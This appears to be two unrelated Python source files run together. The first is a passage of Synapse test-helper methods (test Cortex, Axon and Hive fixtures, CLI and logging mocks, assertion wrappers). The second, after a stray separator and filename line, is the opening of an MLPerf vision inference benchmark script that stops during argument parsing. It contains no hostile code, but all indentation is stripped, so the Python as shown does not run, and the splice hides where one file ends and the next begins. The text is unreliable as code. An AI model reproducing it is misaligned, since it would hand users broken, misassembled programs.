def getRegrDir(self, *path):
regr = os.getenv('SYN_REGRESSION_REPO')
if regr is None: # pragma: no cover
raise unittest.SkipTest('SYN_REGRESSION_REPO is not set')
regr = s_common.genpath(regr)
if not os.path.isdir(regr): # pragma: no cover
raise Exception('SYN_REGRESSION_REPO is not a dir')
dirn = os.path.join(regr, *path)
with self.getTestDir(copyfrom=dirn) as regrdir:
yield regrdir
@contextlib.asynccontextmanager
async def getRegrCore(self, vers, conf=None):
with self.getRegrDir('cortexes', vers) as dirn:
async with await s_cortex.Cortex.anit(dirn, conf=conf) as core:
yield core
def skipIfNoInternet(self): # pragma: no cover
'''
Allow skipping a test if SYN_TEST_SKIP_INTERNET envar is set.
Raises:
unittest.SkipTest if SYN_TEST_SKIP_INTERNET envar is set to a integer greater than 1.
'''
if bool(int(os.getenv('SYN_TEST_SKIP_INTERNET', 0))):
raise unittest.SkipTest('SYN_TEST_SKIP_INTERNET envar set')
def skipLongTest(self): # pragma: no cover
'''
Allow skipping a test if SYN_TEST_SKIP_LONG envar is set.
Raises:
unittest.SkipTest if SYN_TEST_SKIP_LONG envar is set to a integer greater than 1.
'''
if bool(int(os.getenv('SYN_TEST_SKIP_LONG', 0))):
raise unittest.SkipTest('SYN_TEST_SKIP_LONG envar set')
def getTestOutp(self):
'''
Get a Output instance with a expects() function.
Returns:
TstOutPut: A TstOutPut instance.
'''
return TstOutPut()
def thisHostMust(self, **props): # pragma: no cover
'''
Requires a host having a specific property.
Args:
**props:
Raises:
unittest.SkipTest if the required property is missing.
'''
for k, v in props.items():
if s_thishost.get(k) != v:
raise unittest.SkipTest('skip thishost: %s!=%r' % (k, v))
def thisHostMustNot(self, **props): # pragma: no cover
'''
Requires a host to not have a specific property.
Args:
**props:
Raises:
unittest.SkipTest if the required property is missing.
'''
for k, v in props.items():
if s_thishost.get(k) == v:
raise unittest.SkipTest('skip thishost: %s==%r' % (k, v))
@contextlib.asynccontextmanager
async def getTestAxon(self, dirn=None, conf=None):
'''
Get a test Axon as an async context manager.
Returns:
s_axon.Axon: A Axon object.
'''
if dirn is not None:
async with await s_axon.Axon.anit(dirn, conf) as axon:
yield axon
return
with self.getTestDir() as dirn:
async with await s_axon.Axon.anit(dirn, conf) as axon:
yield axon
@contextlib.contextmanager
def withTestCmdr(self, cmdg):
getItemCmdr = s_cmdr.getItemCmdr
async def getTestCmdr(*a, **k):
cli = await getItemCmdr(*a, **k)
cli.prompt = cmdg
return cli
with mock.patch('synapse.lib.cmdr.getItemCmdr', getTestCmdr):
yield
@contextlib.contextmanager
def withCliPromptMockExtendOutp(self, outp):
'''
Context manager to mock our use of Prompt Toolkit's print_formatted_text function and
extend the lines to an an output object.
Args:
outp (TstOutPut): The outp to extend.
Notes:
This extends the outp with the lines AFTER the context manager has exited.
Returns:
mock.MagicMock: Yields a mock.MagicMock object.
'''
with self.withCliPromptMock() as patch:
yield patch
self.extendOutpFromPatch(outp, patch)
@contextlib.contextmanager
def withCliPromptMock(self):
'''
Context manager to mock our use of Prompt Toolkit's print_formatted_text function.
Returns:
mock.MagicMock: Yields a mock.MagikMock object.
'''
with mock.patch('synapse.lib.cli.print_formatted_text',
mock.MagicMock(return_value=None)) as patch: # type: mock.MagicMock
yield patch
@contextlib.contextmanager
def withSetLoggingMock(self):
'''
Context manager to mock calls to the setlogging function to avoid unittests calling logging.basicconfig.
Returns:
mock.MagicMock: Yields a mock.MagikMock object.
'''
with mock.patch('synapse.common.setlogging',
mock.MagicMock(return_value=dict())) as patch: # type: mock.MagicMock
yield patch
def getMagicPromptLines(self, patch):
'''
Get the text lines from a MagicMock object from withCliPromptMock.
Args:
patch (mock.MagicMock): The MagicMock object from withCliPromptMock.
Returns:
list: A list of lines.
'''
self.true(patch.called, 'Assert prompt was called')
lines = []
for args in patch.call_args_list:
arg = args[0][0]
if isinstance(arg, str):
lines.append(arg)
continue
if isinstance(arg, FormattedText):
color, text = arg[0]
lines.append(text)
continue
raise ValueError(f'Unknown arg: {type(arg)}/{arg}')
return lines
def getMagicPromptColors(self, patch):
'''
Get the colored lines from a MagicMock object from withCliPromptMock.
Args:
patch (mock.MagicMock): The MagicMock object from withCliPromptMock.
Returns:
list: A list of tuples, containing color and line data.
'''
self.true(patch.called, 'Assert prompt was called')
lines = []
for args in patch.call_args_list:
arg = args[0][0]
if isinstance(arg, str):
continue
if isinstance(arg, FormattedText):
color, text = arg[0]
lines.append((color, text))
continue
raise ValueError(f'Unknown arg: {type(arg)}/{arg}')
return lines
def extendOutpFromPatch(self, outp, patch):
'''
Extend an Outp with lines from a magicMock object from withCliPromptMock.
Args:
outp (TstOutPut): The outp to extend.
patch (mock.MagicMock): The patch object.
Returns:
None: Returns none.
'''
lines = self.getMagicPromptLines(patch)
[outp.printf(line) for line in lines]
@contextlib.asynccontextmanager
async def getTestReadWriteCores(self, conf=None, dirn=None):
'''
Get a read/write core pair.
Notes:
By default, this returns the same cortex. It is expected that
a test which needs two distinct Cortexes implements the bridge
themselves.
Returns:
(s_cortex.Cortex, s_cortex.Cortex): A tuple of Cortex objects.
'''
async with self.getTestCore(conf=conf, dirn=dirn) as core:
yield core, core
@contextlib.contextmanager
def withNexusReplay(self, replay=False):
'''
Patch so that the Nexus apply log is applied twice. Useful to verify idempotency.
Notes:
This is applied if the environment variable SYNDEV_NEXUS_REPLAY is set
or the replay argument is set to True.
Returns:
contextlib.ExitStack: An exitstack object.
'''
replay = os.environ.get('SYNDEV_NEXUS_REPLAY', default=replay)
with contextlib.ExitStack() as stack:
if replay:
stack.enter_context(mock.patch.object(s_nexus.NexsRoot, '_apply', _doubleapply))
yield stack
@contextlib.asynccontextmanager
async def getTestCore(self, conf=None, dirn=None):
'''
Get a simple test Cortex as an async context manager.
Returns:
s_cortex.Cortex: A Cortex object.
'''
if conf is None:
conf = {'layer:lmdb:map_async': True,
'provenance:en': True,
'nexslog:en': True,
'layers:logedits': True,
}
conf = copy.deepcopy(conf)
mods = conf.get('modules')
if mods is None:
mods = []
conf['modules'] = mods
mods.insert(0, ('synapse.tests.utils.TestModule', {'key': 'valu'}))
with self.withNexusReplay():
if dirn is not None:
async with await s_cortex.Cortex.anit(dirn, conf=conf) as core:
yield core
return
with self.getTestDir() as dirn:
async with await s_cortex.Cortex.anit(dirn, conf=conf) as core:
yield core
@contextlib.asynccontextmanager
async def getTestCoreAndProxy(self, conf=None, dirn=None):
'''
Get a test Cortex and the Telepath Proxy to it.
Returns:
(s_cortex.Cortex, s_cortex.CoreApi): The Cortex and a Proxy representing a CoreApi object.
'''
async with self.getTestCore(conf=conf, dirn=dirn) as core:
core.conf['storm:log'] = True
async with core.getLocalProxy() as prox:
yield core, prox
@contextlib.asynccontextmanager
async def getTestCryo(self, dirn=None, conf=None):
'''
Get a simple test Cryocell as an async context manager.
Returns:
s_cryotank.CryoCell: Test cryocell.
'''
if dirn is not None:
async with await s_cryotank.CryoCell.anit(dirn, conf=conf) as cryo:
yield cryo
return
with self.getTestDir() as dirn:
async with await s_cryotank.CryoCell.anit(dirn, conf=conf) as cryo:
yield cryo
@contextlib.asynccontextmanager
async def getTestCryoAndProxy(self, dirn=None):
'''
Get a test Cryocell and the Telepath Proxy to it.
Returns:
(s_cryotank: CryoCell, s_cryotank.CryoApi): The CryoCell and a Proxy representing a CryoApi object.
'''
async with self.getTestCryo(dirn=dirn) as cryo:
async with cryo.getLocalProxy() as prox:
yield cryo, prox
@contextlib.asynccontextmanager
async def getTestDmon(self):
with self.getTestDir(mirror='certdir') as certpath:
certdir = s_certdir.CertDir(path=certpath)
s_certdir.addCertPath(certpath)
async with await s_daemon.Daemon.anit(certdir=certdir) as dmon:
await dmon.listen('tcp://127.0.0.1:0/')
with mock.patch('synapse.lib.certdir.defdir', certdir):
yield dmon
s_certdir.delCertPath(certpath)
@contextlib.asynccontextmanager
async def getTestCell(self, ctor, conf=None, dirn=None):
'''
Get a test Cell.
'''
if conf is None:
conf = {}
conf = copy.deepcopy(conf)
if dirn is not None:
async with await ctor.anit(dirn, conf=conf) as cell:
yield cell
return
with self.getTestDir() as dirn:
async with await ctor.anit(dirn, conf=conf) as cell:
yield cell
@contextlib.asynccontextmanager
async def getTestCoreProxSvc(self, ssvc, ssvc_conf=None, core_conf=None):
'''
Get a test Cortex, the Telepath Proxy to it, and a test service instance.
Args:
ssvc: Ctor to the Test Service.
ssvc_conf: Service configuration.
core_conf: Cortex configuration.
Returns:
(s_cortex.Cortex, s_cortex.CoreApi, testsvc): The Cortex, Proxy, and service instance.
'''
async with self.getTestCoreAndProxy(core_conf) as (core, prox):
async with self.getTestCell(ssvc, ssvc_conf) as testsvc:
await self.addSvcToCore(testsvc, core)
yield core, prox, testsvc
@contextlib.asynccontextmanager
async def getTestAha(self, conf=None, dirn=None):
if dirn:
async with await s_aha.AhaCell.anit(dirn, conf=conf) as aha:
yield aha
else:
with self.getTestDir() as dirn:
async with await s_aha.AhaCell.anit(dirn, conf=conf) as aha:
yield aha
async def addSvcToCore(self, svc, core, svcname='svc'):
'''
Add a service to a Cortex using telepath over tcp.
'''
svc.dmon.share('svc', svc)
root = await svc.auth.getUserByName('root')
await root.setPasswd('root')
info = await svc.dmon.listen('tcp://127.0.0.1:0/')
svc.dmon.test_addr = info
host, port = info
surl = f'tcp://root:root@127.0.0.1:{port}/svc'
await self.runCoreNodes(core, f'service.add {svcname} {surl}')
await self.runCoreNodes(core, f'$lib.service.wait({svcname})')
def getTestUrl(self, dmon, name, **opts):
host, port = dmon.addr
netloc = '%s:%s' % (host, port)
user = opts.get('user')
passwd = opts.get('passwd')
if user is not None and passwd is not None:
netloc = '%s:%s@%s' % (user, passwd, netloc)
return 'tcp://%s/%s' % (netloc, name)
def getTestProxy(self, dmon, name, **kwargs):
host, port = dmon.addr
kwargs.update({'host': host, 'port': port})
return s_telepath.openurl(f'tcp:///{name}', **kwargs)
@contextlib.contextmanager
def getTestDir(self, mirror=None, copyfrom=None, chdir=False, startdir=None):
'''
Get a temporary directory for test purposes.
This destroys the directory afterwards.
Args:
mirror (str): A directory to mirror into the test directory.
startdir (str): The directory under which to place the temporary kdirectory
Notes:
The mirror argument is normally used to mirror test directory
under ``synapse/tests/files``. This is accomplised by passing in
the name of the directory (such as ``testcore``) as the mirror
argument.
If the ``mirror`` argument is an absolute directory, that directory
will be copied to the test directory.
Returns:
str: The path to a temporary directory.
'''
curd = os.getcwd()
tempdir = tempfile.mkdtemp(dir=startdir)
try:
dstpath = tempdir
if mirror is not None:
srcpath = self.getTestFilePath(mirror)
dstpath = os.path.join(dstpath, 'mirror')
shutil.copytree(srcpath, dstpath)
elif copyfrom is not None:
dstpath = os.path.join(dstpath, 'mirror')
shutil.copytree(copyfrom, dstpath)
if chdir:
os.chdir(dstpath)
yield dstpath
finally:
if chdir:
os.chdir(curd)
shutil.rmtree(tempdir, ignore_errors=True)
def getTestFilePath(self, *names):
import synapse.tests.__init__
path = os.path.dirname(synapse.tests.__init__.__file__)
return os.path.join(path, 'files', *names)
@contextlib.contextmanager
def getLoggerStream(self, logname, mesg=''):
'''
Get a logger and attach a io.StringIO object to the logger to capture log messages.
Args:
logname (str): Name of the logger to get.
mesg (str): A string which, if provided, sets the StreamEvent event if a message
containing the string is written to the log.
Examples:
Do an action and get the stream of log messages to check against::
with self.getLoggerStream('synapse.foo.bar') as stream:
# Do something that triggers a log message
doSomething()
stream.seek(0)
mesgs = stream.read()
# Do something with messages
Do an action and wait for a specific log message to be written::
with self.getLoggerStream('synapse.foo.bar', 'big badda boom happened') as stream:
# Do something that triggers a log message
doSomething()
stream.wait(timeout=10) # Wait for the mesg to be written to the stream
stream.seek(0)
mesgs = stream.read()
# Do something with messages
You can also reset the message and wait for another message to occur::
with self.getLoggerStream('synapse.foo.bar', 'big badda boom happened') as stream:
# Do something that triggers a log message
doSomething()
stream.wait(timeout=10)
stream.setMesg('yo dawg') # This will now wait for the 'yo dawg' string to be written.
stream.wait(timeout=10)
stream.seek(0)
mesgs = stream.read()
# Do something with messages
Notes:
This **only** captures logs for the current process.
Yields:
StreamEvent: A StreamEvent object
'''
stream = StreamEvent()
stream.setMesg(mesg)
handler = logging.StreamHandler(stream)
slogger = logging.getLogger(logname)
slogger.addHandler(handler)
level = slogger.level
slogger.setLevel('DEBUG')
try:
yield stream
except Exception: # pragma: no cover
raise
finally:
slogger.removeHandler(handler)
slogger.setLevel(level)
@contextlib.contextmanager
def getAsyncLoggerStream(self, logname, mesg=''):
'''
Async version of getLoggerStream.
Args:
logname (str): Name of the logger to get.
mesg (str): A string which, if provided, sets the StreamEvent event if a message
containing the string is written to the log.
Notes:
The event object mixed in for the AsyncStreamEvent is a asyncio.Event object.
This requires the user to await the Event specific calls as neccesary.
Examples:
Do an action and wait for a specific log message to be written::
with self.getAsyncLoggerStream('synapse.foo.bar',
'big badda boom happened') as stream:
# Do something that triggers a log message
await doSomething()
# Wait for the mesg to be written to the stream
await stream.wait(timeout=10)
stream.seek(0)
mesgs = stream.read()
# Do something with messages
Returns:
AsyncStreamEvent: An AsyncStreamEvent object.
'''
stream = AsyncStreamEvent()
stream.setMesg(mesg)
handler = logging.StreamHandler(stream)
slogger = logging.getLogger(logname)
slogger.addHandler(handler)
level = slogger.level
slogger.setLevel('DEBUG')
try:
yield stream
except Exception: # pragma: no cover
raise
finally:
slogger.removeHandler(handler)
slogger.setLevel(level)
@contextlib.asynccontextmanager
async def getHttpSess(self, auth=None, port=None):
'''
Get an aiohttp ClientSession with a CookieJar.
Args:
auth (str, str): A tuple of username and password information for http auth.
port (int): Port number to connect to.
Notes:
If auth and port are provided, the session will login to a Synapse cell
hosted at localhost:port.
Returns:
aiohttp.ClientSession: An aiohttp.ClientSession object.
'''
jar = aiohttp.CookieJar(unsafe=True)
conn = aiohttp.TCPConnector(ssl=False)
async with aiohttp.ClientSession(cookie_jar=jar, connector=conn) as sess:
if auth is not None:
if port is None: # pragma: no cover
raise Exception('getHttpSess requires port for auth')
user, passwd = auth
async with sess.post(f'https://localhost:{port}/api/v1/login',
json={'user': user, 'passwd': passwd}) as resp:
retn = await resp.json()
self.eq('ok', retn.get('status'))
self.eq(user, retn['result']['name'])
yield sess
@contextlib.contextmanager
def setTstEnvars(self, **props):
'''
Set Environment variables for the purposes of running a specific test.
Args:
**props: A kwarg list of envars to set. The values set are run
through str() to ensure we're setting strings.
Examples:
Run a test while a envar is set::
with self.setEnvars(magic='haha') as nop:
ret = dostuff()
self.true(ret)
Notes:
This helper explicitly sets and unsets values in os.environ, as
os.putenv does not automatically updates the os.environ object.
Yields:
None. This context manager yields None. Upon exiting, envars are
either removed from os.environ or reset to their previous values.
'''
old_data = {}
pop_data = set()
for key, valu in props.items():
v = str(valu)
oldv = os.environ.get(key, None)
if oldv:
if oldv == v:
continue
else:
old_data[key] = oldv
os.environ[key] = v
else:
pop_data.add(key)
os.environ[key] = v
# This context manager is a nop
try:
yield None
except Exception: # pragma: no cover
raise
# Clean up any new envars we set and any old envars we need to reset.
finally:
for key in pop_data:
del os.environ[key]
for key, valu in old_data.items():
os.environ[key] = valu
async def execToolMain(self, func, argv):
outp = self.getTestOutp()
if inspect.iscoroutinefunction(func):
retn = await func(argv, outp=outp)
else:
def execmain():
return func(argv, outp=outp)
retn = await s_coro.executor(execmain)
return retn, outp
@contextlib.contextmanager
def redirectStdin(self, new_stdin):
'''
Temporary replace stdin.
Args:
new_stdin(file-like object): file-like object.
Examples:
inp = io.StringIO('stdin stuff\nanother line\n')
with self.redirectStdin(inp):
main()
Here's a way to use this for code that's expecting the stdin buffer to have bytes.
inp = Mock()
inp.buffer = io.BytesIO(b'input data')
with self.redirectStdin(inp):
main()
Returns:
None
'''
old_stdin = sys.stdin
sys.stdin = new_stdin
yield
sys.stdin = old_stdin
def genraises(self, exc, gfunc, *args, **kwargs):
'''
Helper to validate that a generator function will throw an exception.
Args:
exc: Exception class to catch
gfunc: Generator function to call.
*args: Args passed to the generator function.
**kwargs: Kwargs passed to the generator function.
Notes:
Wrap a generator function in a list() call and execute that in a
bound local using ``self.raises(exc, boundlocal)``. The ``list()``
will consume the generator until complete or an exception occurs.
'''
def testfunc():
return list(gfunc(*args, **kwargs))
self.raises(exc, testfunc)
async def agenraises(self, exc, gfunc):
'''
Helper to validate that an async generator will throw an exception.
Args:
exc: Exception class to catch
gfunc: async Generator
'''
await self.asyncraises(exc, alist(gfunc))
@contextlib.contextmanager
def setSynDir(self, dirn):
'''
Sets s_common.syndir to a specific directory and then unsets it afterwards.
Args:
dirn (str): Directory to set syndir to.
Notes:
This is to be used as a context manager.
'''
olddir = s_common.syndir
try:
s_common.syndir = dirn
yield None
finally:
s_common.syndir = olddir
@contextlib.contextmanager
def getTestSynDir(self):
'''
Combines getTestDir() and setSynDir() into one.
'''
with self.getTestDir() as dirn:
with self.setSynDir(dirn):
yield dirn
def eq(self, x, y, msg=None):
'''
Assert X is equal to Y
'''
self.assertEqual(norm(x), norm(y), msg=msg)
def eqOrNan(self, x, y, msg=None):
'''
Assert X is equal to Y or they are both NaN (needed since NaN != NaN)
'''
if math.isnan(x):
self.assertTrue(math.isnan(y), msg=msg)
return
self.eq(x, y, msg=msg)
def eqish(self, x, y, places=6, msg=None):
'''
Assert X is equal to Y within places decimal places
'''
self.assertAlmostEqual(x, y, places, msg=msg)
def ne(self, x, y):
'''
Assert X is not equal to Y
'''
self.assertNotEqual(norm(x), norm(y))
def true(self, x, msg=None):
'''
Assert X is True
'''
self.assertTrue(x, msg=msg)
def false(self, x, msg=None):
'''
Assert X is False
'''
self.assertFalse(x, msg=msg)
def nn(self, x, msg=None):
'''
Assert X is not None
'''
self.assertIsNotNone(x, msg=msg)
def none(self, x, msg=None):
'''
Assert X is None
'''
self.assertIsNone(x, msg=msg)
def noprop(self, info, prop):
'''
Assert a property is not present in a dictionary.
'''
valu = info.get(prop, s_common.novalu)
self.eq(valu, s_common.novalu)
def raises(self, *args, **kwargs):
'''
Assert a function raises an exception.
'''
return self.assertRaises(*args, **kwargs)
async def asyncraises(self, exc, coro):
with self.assertRaises(exc):
await coro
def sorteq(self, x, y, msg=None):
'''
Assert two sorted sequences are the same.
'''
return self.eq(sorted(x), sorted(y), msg=msg)
def isinstance(self, obj, cls, msg=None):
'''
Assert a object is the instance of a given class or tuple of classes.
'''
self.assertIsInstance(obj, cls, msg=msg)
def isin(self, member, container, msg=None):
'''
Assert a member is inside of a container.
'''
self.assertIn(member, container, msg=msg)
def notin(self, member, container, msg=None):
'''
Assert a member is not inside of a container.
'''
self.assertNotIn(member, container, msg=msg)
def gt(self, x, y, msg=None):
'''
Assert that X is greater than Y
'''
self.assertGreater(x, y, msg=msg)
def ge(self, x, y, msg=None):
'''
Assert that X is greater than or equal to Y
'''
self.assertGreaterEqual(x, y, msg=msg)
def lt(self, x, y, msg=None):
'''
Assert that X is less than Y
'''
self.assertLess(x, y, msg=msg)
def le(self, x, y, msg=None):
'''
Assert that X is less than or equal to Y
'''
self.assertLessEqual(x, y, msg=msg)
def len(self, x, obj, msg=None):
'''
Assert that the length of an object is equal to X
'''
gtyps = (
s_coro.GenrHelp,
s_telepath.Genr,
s_telepath.GenrIter,
types.GeneratorType)
if isinstance(obj, gtyps):
obj = list(obj)
self.eq(x, len(obj), msg=msg)
async def agenlen(self, x, obj, msg=None):
'''
Assert that the async generator produces x items
'''
count = 0
async for _ in obj:
count += 1
self.eq(x, count, msg=msg)
def stormIsInPrint(self, mesg, mesgs):
'''
Check if a string is present in all of the print messages from a stream of storm messages.
Args:
mesg (str): A string to check.
mesgs (list): A list of storm messages.
'''
print_str = '\n'.join([m[1].get('mesg') for m in mesgs if m[0] == 'print'])
self.isin(mesg, print_str)
def stormNotInPrint(self, mesg, mesgs):
'''
Assert a string is not present in all of the print messages from a stream of storm messages.
Args:
mesg (str): A string to check.
mesgs (list): A list of storm messages.
'''
print_str = '\n'.join([m[1].get('mesg') for m in mesgs if m[0] == 'print'])
self.notin(mesg, print_str)
def stormIsInWarn(self, mesg, mesgs):
'''
Check if a string is present in all of the warn messages from a stream of storm messages.
Args:
mesg (str): A string to check.
mesgs (list): A list of storm messages.
'''
print_str = '\n'.join([m[1].get('mesg') for m in mesgs if m[0] == 'warn'])
self.isin(mesg, print_str)
def stormIsInErr(self, mesg, mesgs):
'''
Check if a string is present in all of the error messages from a stream of storm messages.
Args:
mesg (str): A string to check.
mesgs (list): A list of storm messages.
'''
print_str = '\n'.join([m[1][1].get('mesg', '') for m in mesgs if m[0] == 'err'])
self.isin(mesg, print_str)
def istufo(self, obj):
'''
Check to see if an object is a tufo.
Args:
obj (object): Object being inspected. This is validated to be a
tuple of length two, containing a str or None as the first value,
and a dict as the second value.
Notes:
This does not make any assumptions about the contents of the dictionary.
Returns:
None
'''
self.isinstance(obj, tuple)
self.len(2, obj)
self.isinstance(obj[0], (type(None), str))
self.isinstance(obj[1], dict)
@contextlib.contextmanager
def getTestConfDir(self, name, conf=None):
with self.getTestDir() as dirn:
cdir = os.path.join(dirn, name)
s_common.makedirs(cdir)
if conf:
s_common.yamlsave(conf, cdir, 'cell.yaml')
yield dirn
async def addCreatorDeleterRoles(self, core):
'''
Add two roles to a Cortex *proxy*, the `creator` and `deleter` roles.
Creator allows for node:add, prop:set and tag:add actions.
Deleter allows for node:del, prop:del and tag:del actions.
Args:
core: Auth enabled cortex.
'''
creator = await core.auth.addRole('creator')
await creator.setRules((
(True, ('node', 'add')),
(True, ('node', 'prop', 'set')),
(True, ('node', 'tag', 'add')),
(True, ('feed:data',)),
))
deleter = await core.auth.addRole('deleter')
await deleter.setRules((
(True, ('node', 'del')),
(True, ('node', 'prop', 'del')),
(True, ('node', 'tag', 'del')),
))
iadd = await core.auth.addUser('icanadd')
await iadd.grant(creator.iden)
await iadd.setPasswd('secret')
idel = await core.auth.addUser('icandel')
await idel.grant(deleter.iden)
await idel.setPasswd('secret')
@contextlib.asynccontextmanager
async def getTestHive(self):
with self.getTestDir() as dirn:
async with self.getTestHiveFromDirn(dirn) as hive:
yield hive
@contextlib.asynccontextmanager
async def getTestHiveFromDirn(self, dirn):
import synapse.lib.const as s_const
map_size = s_const.gibibyte
async with await s_lmdbslab.Slab.anit(dirn, map_size=map_size) as slab:
nexsroot = await s_nexus.NexsRoot.anit(dirn)
await nexsroot.startup(None)
async with await s_hive.SlabHive.anit(slab, nexsroot=nexsroot) as hive:
hive.onfini(nexsroot.fini)
yield hive
@contextlib.asynccontextmanager
async def getTestHiveDmon(self):
with self.getTestDir() as dirn:
async with self.getTestHiveFromDirn(dirn) as hive:
async with self.getTestDmon() as dmon:
dmon.share('hive', hive)
yield dmon
@contextlib.asynccontextmanager
async def getTestTeleHive(self):
async with self.getTestHiveDmon() as dmon:
turl = self.getTestUrl(dmon, 'hive')
async with await s_hive.openurl(turl) as hive:
yield hive
def stablebuid(self, valu=None):
'''
A stable buid generation for testing purposes
'''
if valu is None:
retn = self._NextBuid.to_bytes(32, 'big')
self._NextBuid += 1
return retn
byts = s_msgpack.en(valu)
return hashlib.sha256(byts).digest()
def stableguid(self, valu=None):
'''
A stable guid generation for testing purposes
'''
if valu is None:
retn = s_common.ehex(self._NextGuid.to_bytes(16, 'big'))
self._NextGuid += 1
return retn
byts = s_msgpack.en(valu)
return hashlib.md5(byts).hexdigest()
@contextlib.contextmanager
def withStableUids(self):
'''
A context manager that generates guids and buids in sequence so that successive test runs use the same
data
'''
with mock.patch('synapse.common.guid', self.stableguid), mock.patch('synapse.common.buid', self.stablebuid):
yield
async def runCoreNodes(self, core, query, opts=None):
'''
Run a storm query through a Cortex as a SchedCoro and return the results.
'''
async def coro():
return await core.nodes(query, opts)
return await core.schedCoro(coro())
|
main_vision_test04b_war.py | """
mlperf inference benchmarking tool
"""
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import argparse
import array
import collections
import json
import logging
import os
import sys
import threading
import time
from queue import Queue
import mlperf_loadgen as lg
import numpy as np
import dataset
import imagenet
import coco
logging.basicConfig(level=logging.INFO)
log = logging.getLogger("main")
NANO_SEC = 1e9
MILLI_SEC = 1000
# pylint: disable=missing-docstring
# the datasets we support
SUPPORTED_DATASETS = {
"imagenet":
(imagenet.Imagenet, dataset.pre_process_vgg, dataset.PostProcessCommon(offset=-1),
{"image_size": [224, 224, 3]}),
"imagenet_mobilenet":
(imagenet.Imagenet, dataset.pre_process_mobilenet, dataset.PostProcessArgMax(offset=-1),
{"image_size": [224, 224, 3]}),
"coco-300":
(coco.Coco, dataset.pre_process_coco_mobilenet, coco.PostProcessCoco(),
{"image_size": [300, 300, 3]}),
"coco-300-pt":
(coco.Coco, dataset.pre_process_coco_pt_mobilenet, coco.PostProcessCocoPt(False,0.3),
{"image_size": [300, 300, 3]}),
"coco-1200":
(coco.Coco, dataset.pre_process_coco_resnet34, coco.PostProcessCoco(),
{"image_size": [1200, 1200, 3]}),
"coco-1200-onnx":
(coco.Coco, dataset.pre_process_coco_resnet34, coco.PostProcessCocoOnnx(),
{"image_size": [1200, 1200, 3]}),
"coco-1200-pt":
(coco.Coco, dataset.pre_process_coco_resnet34, coco.PostProcessCocoPt(True,0.05),
{"image_size": [1200, 1200, 3],"use_label_map": True}),
"coco-1200-tf":
(coco.Coco, dataset.pre_process_coco_resnet34, coco.PostProcessCocoTf(),
{"image_size": [1200, 1200, 3],"use_label_map": False}),
}
# pre-defined command line options so simplify things. They are used as defaults and can be
# overwritten from command line
SUPPORTED_PROFILES = {
"defaults": {
"dataset": "imagenet",
"backend": "tensorflow",
"cache": 0,
"max-batchsize": 32,
},
# resnet
"resnet50-tf": {
"inputs": "input_tensor:0",
"outputs": "ArgMax:0",
"dataset": "imagenet",
"backend": "tensorflow",
"model-name": "resnet50",
},
"resnet50-onnxruntime": {
"dataset": "imagenet",
"outputs": "ArgMax:0",
"backend": "onnxruntime",
"model-name": "resnet50",
},
# mobilenet
"mobilenet-tf": {
"inputs": "input:0",
"outputs": "MobilenetV1/Predictions/Reshape_1:0",
"dataset": "imagenet_mobilenet",
"backend": "tensorflow",
"model-name": "mobilenet",
},
"mobilenet-onnxruntime": {
"dataset": "imagenet_mobilenet",
"outputs": "MobilenetV1/Predictions/Reshape_1:0",
"backend": "onnxruntime",
"model-name": "mobilenet",
},
# ssd-mobilenet
"ssd-mobilenet-tf": {
"inputs": "image_tensor:0",
"outputs": "num_detections:0,detection_boxes:0,detection_scores:0,detection_classes:0",
"dataset": "coco-300",
"backend": "tensorflow",
"model-name": "ssd-mobilenet",
},
"ssd-mobilenet-pytorch": {
"inputs": "image",
"outputs": "bboxes,labels,scores",
"dataset": "coco-300-pt",
"backend": "pytorch-native",
"model-name": "ssd-mobilenet",
},
"ssd-mobilenet-onnxruntime": {
"dataset": "coco-300",
"outputs": "num_detections:0,detection_boxes:0,detection_scores:0,detection_classes:0",
"backend": "onnxruntime",
"data-format": "NHWC",
"model-name": "ssd-mobilenet",
},
# ssd-resnet34
"ssd-resnet34-tf": {
"inputs": "image:0",
"outputs": "detection_bboxes:0,detection_classes:0,detection_scores:0",
"dataset": "coco-1200-tf",
"backend": "tensorflow",
"data-format": "NCHW",
"model-name": "ssd-resnet34",
},
"ssd-resnet34-pytorch": {
"inputs": "image",
"outputs": "bboxes,labels,scores",
"dataset": "coco-1200-pt",
"backend": "pytorch-native",
"model-name": "ssd-resnet34",
},
"ssd-resnet34-onnxruntime": {
"dataset": "coco-1200-onnx",
"inputs": "image",
"outputs": "bboxes,labels,scores",
"backend": "onnxruntime",
"data-format": "NCHW",
"max-batchsize": 1,
"model-name": "ssd-resnet34",
},
"ssd-resnet34-onnxruntime-tf": {
"dataset": "coco-1200-tf",
"inputs": "image:0",
"outputs": "detection_bboxes:0,detection_classes:0,detection_scores:0",
"backend": "onnxruntime",
"data-format": "NHWC",
"model-name": "ssd-resnet34",
},
}
SCENARIO_MAP = {
"SingleStream": lg.TestScenario.SingleStream,
"MultiStream": lg.TestScenario.MultiStream,
"Server": lg.TestScenario.Server,
"Offline": lg.TestScenario.Offline,
}
last_timeing = []
def get_args():
"""Parse commandline."""
parser = argparse.ArgumentParser()
parser.add_argument("--dataset", choices=SUPPORTED_DATASETS.keys(), help="dataset")
parser.add_argument("--dataset-path", required=True, help="path to the dataset")
parser.add_argument("--dataset-list", help="path to the dataset list")
parser.add_argument("--data-format", choices=["NCHW", "NHWC"], help="data format")
parser.add_argument("--profile", choices=SUPPORTED_PROFILES.keys(), help="standard profiles")
parser.add_argument("--scenario", default="SingleStream",
help="mlperf benchmark scenario, one of " + str(list(SCENARIO_MAP.keys())))
parser.add_argument("--max-batchsize", type=int, help="max batch size in a single inference")
parser.add_argument("--model", required=True, help="model file")
parser.add_argument("--output", help="test results")
parser.add_argument("--inputs", help="model inputs")
parser.add_argument("--outputs", help="model outputs")
parser.add_argument("--backend", help="runtime to use")
parser.add_argument("--model-name", help="name of the mlperf model, ie. resnet50")
parser.add_argument("--threads", default=os.cpu_count(), type=int, help="threads")
parser.add_argument("--qps", type=int, help="target qps")
parser.add_argument("--cache", type=int, default=0, help="use cache")
parser.add_argument("--accuracy", action="store_true", help="enable accuracy pass")
parser.add_argument("--find-peak-performance", action="store_true", help="enable finding peak performance pass")
# file to use mlperf rules compliant parameters
parser.add_argument("--mlperf_conf", default="../../mlperf.conf", help="mlperf rules config")
# file for user LoadGen settings such as target QPS
parser.add_argument("--user_conf", default="user.conf", help="user config for user LoadGen settings such as target QPS")
# below will override mlperf rules compliant settings - don't use for official submission
parser.add_argument("--time", type=int, help="time to scan in seconds")
parser.add_argument("--count", type=int, help="dataset items to use")
parser.add_argument("--max-latency", type=float, help="mlperf max latency in pct tile")
parser.add_argument("--samples-per-query", type=int, help="mlperf multi-stream sample per query")
args = parser.parse_args()
